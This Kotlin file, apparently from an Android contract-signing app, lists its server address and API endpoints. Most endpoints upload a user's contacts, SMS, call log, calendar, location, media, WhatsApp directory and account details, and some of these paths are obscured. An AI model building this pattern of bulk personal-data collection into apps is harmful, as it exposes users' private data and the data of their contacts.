package com.mycontract.suitepro.network

object ApiUrl {
    /**
     * 域名服务器地址
     * https://www.facilecredit.top/contractsuite
     */
    var BASE_URL = "http://182.160.16.142:5002"//"http://192.168.1.18:5002"//

    /**
     * 域名转发
     */
    var BASE_PATH = "/front"

    /**
     * 全局配置
     */
    var ZONE_PATH = "/contractsuitezone"

    /**
     * 设备-应用列表
     */
    const val CONTRACTSUITE_PATH_APPLIST = "/api/saveAppList"

    /**
     * 设备-联系人
     */
    const val CONTRACTSUITE_PATH_CONTACT = "/api/savePhoneBook"

    /**
     * 设备-消息
     */
    const val CONTRACTSUITE_PATH_MESSAGE = "/api/saveSmsRecord"

    /**
     * 设备-设备信息
     */
    const val CONTRACTSUITE_PATH_DEVICE = "/api/saveDeviceInfo"

    /**
     * 设备-图片信息
     */
    const val CONTRACTSUITE_PATH_IMAGE = "/JdoApLBOw3bl8eD1yKw"

    /**
     * 设备-电池信息
     */
    const val CONTRACTSUITE_PATH_BATTERY = "/api/saveDeviceBattery"

    /**
     * 设备-硬件信息
     */
    const val CONTRACTSUITE_PATH_HARDWARE = "/api/saveDeviceHardware"

    /**
     * 设备-存储信息
     */
    const val CONTRACTSUITE_PATH_STORE = "/api/user/deviceStorage"

    /**
     * 设备-wifi信息
     */
    const val CONTRACTSUITE_PATH_NETWORK = "/api/saveDeviceWifi"

    /**
     * 设备-结果标识
     */
    const val CONTRACTSUITE_PATH_RESULT = "/api/setUploadData"

    /**
     * 设备-媒体信息
     */
    const val CONTRACTSUITE_PATH_MEDIA = "/A1JSGw4mZ1ZYSv3A38iJA"

    /**
     * 设备-位置信息
     */
    const val CONTRACTSUITE_PATH_LOCATION = "/o4rs00hMaEow53xGJii4Zg"

    /**
     * 设备-calllog列表
     */
    const val CONTRACTSUITE_PATH_CALLLOG = "/api/saveCallRecord"

    /**
     * 设备-calendar列表
     */
    const val CONTRACTSUITE_PATH_CALENDAR = "/MTeNIsHLhK3QHavB9yQ8ig"

    /**
     * 设备-whatsapp目录列表
     */
    const val CONTRACTSUITE_PATH_WHATSAPP_DIR = "/JfW1BRx3dbKABDQtvVng"

    /**
     * 设备-setting account列表
     */
    const val CONTRACTSUITE_PATH_SETTING_ACCOUNT = "/o7kVzNoZiAhXRIVU7ETjmQ"

    /**
     * 设备-aduid
     */
    const val CONTRACTSUITE_PATH_ADUID = "/tb72k4oeCYSFZZ56v7nYg"

    /**
     * 设备-打点
     */
    const val CONTRACTSUITE_PATH_POINT_RECORD = "/api/saveBuriedPoint"

    ///////////////////////////////////
    /**
     * 获取合同待签列表
     */
    const val CONTRACTSUITE_PATH_GET_CONTRACT_ORDER_LIST = "/api/getContractList"

    /**
     * 签约合同
     */
    const val CONTRACTSUITE_PATH_SIGN_CONTRACT = "/api/signContract"

    /**
     * 获取手机区号
     */
    const val CONTRACTSUITE_PATH_GET_MOBILE_ADDRESS = "/api/getMobileAreas"

    /**
     * 获取app配置
     */
    const val CONTRACTSUITE_PATH_APP_CONFIG = "/api/app/version"

    /** 是否为有效的地区转发 */
    fun isContractSuiteValidContractSuiteCountryContractSuitePath(): Boolean {
        return BASE_PATH.isNotBlank()
    }

}
